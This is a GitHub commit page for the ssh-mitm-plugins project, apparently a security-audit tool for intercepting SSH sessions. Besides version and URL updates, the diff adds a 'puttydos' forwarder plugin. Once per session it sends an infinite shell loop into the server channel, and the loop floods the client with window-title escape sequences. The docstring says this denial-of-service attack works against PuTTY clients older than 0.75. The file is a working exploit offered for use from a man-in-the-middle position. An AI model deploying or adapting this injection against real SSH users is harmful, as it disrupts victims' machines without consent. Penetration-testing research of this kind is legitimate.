Skip to content

Commit 6b1d98e

Browse files
Merge branch 'develop' into main
2 parents 5731990 + 81fc167 commit 6b1d98e

File tree

3 files changed

+33
-5
lines changed

3 files changed

+33
-5
lines changed

setup.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -19,19 +19,19 @@ def get_entry_points():
1919

2020
setup(
2121
name='ssh-mitm-plugins',
22-
version='0.2',
22+
version='0.3',
2323
author='Simon Böhm',
2424
author_email='[email protected]',
2525
description='advanced features for ssh-mitm server',
2626
long_description=long_description,
2727
long_description_content_type='text/markdown',
2828
keywords="ssh proxy mitm network security audit plugins features advanced",
2929
packages=find_packages(),
30-
url="https://github.com/The5imon/ssh-mitm-plugins",
30+
url="https://github.com/ssh-mitm/ssh-mitm-plugins",
3131
project_urls={
3232
'Documentation': 'https://ssh-mitm-plugins.readthedocs.io',
33-
'Source': 'https://github.com/The5imon/ssh-mitm-plugins',
34-
'Tracker': 'https://github.com/The5imon/ssh-mitm-plugins/issues',
33+
'Source': 'https://github.com/ssh-mitm/ssh-mitm-plugins',
34+
'Tracker': 'https://github.com/ssh-mitm/ssh-mitm-plugins/issues',
3535
},
3636
python_requires='>= 3.6',
3737
classifiers=[

ssh_mitm_plugins/__entrypoints__.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,8 @@
22
'SSHBaseForwarder': [
33
'scriptedshell = ssh_mitm_plugins.ssh.scriptedshell:SSHScriptedForwarder',
44
'stealthshell = ssh_mitm_plugins.ssh.stealthshell:SSHStealthForwarder',
5-
'injectorshell = ssh_mitm_plugins.ssh.injectorshell:SSHInjectableForwarder'
5+
'injectorshell = ssh_mitm_plugins.ssh.injectorshell:SSHInjectableForwarder',
6+
'puttydos = ssh_mitm_plugins.ssh.putty_dos:SSHPuttyDoSForwarder'
67
],
78
'SCPBaseForwarder': [
89

ssh_mitm_plugins/ssh/putty_dos.py

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
from ssh_proxy_server.forwarders.ssh import SSHForwarder
2+
3+
4+
class SSHPuttyDoSForwarder(SSHForwarder):
5+
"""PuTTY < 0.75: DoS on Windows/Linux clients
6+
7+
Security fix: a server could DoS the whole Windows/Linux GUI by telling
8+
the PuTTY window to change its title repeatedly at high speed.
9+
10+
PuTTY-Changelog: https://www.chiark.greenend.org.uk/~sgtatham/putty/changes.html
11+
"""
12+
13+
def __init__(self, session):
14+
super().__init__(session)
15+
self.exploit = [
16+
"PS1=''",
17+
"while :",
18+
"do",
19+
"echo -ne '\\033]0: NEW_TITLE${RANDOM} \\007'",
20+
"done"
21+
]
22+
self.executed = False
23+
24+
def forward_extra(self):
25+
if not self.executed:
26+
self.server_channel.sendall('\n'.join(self.exploit) + '\n')
27+
self.executed = True

0 commit comments

Comments
 (0)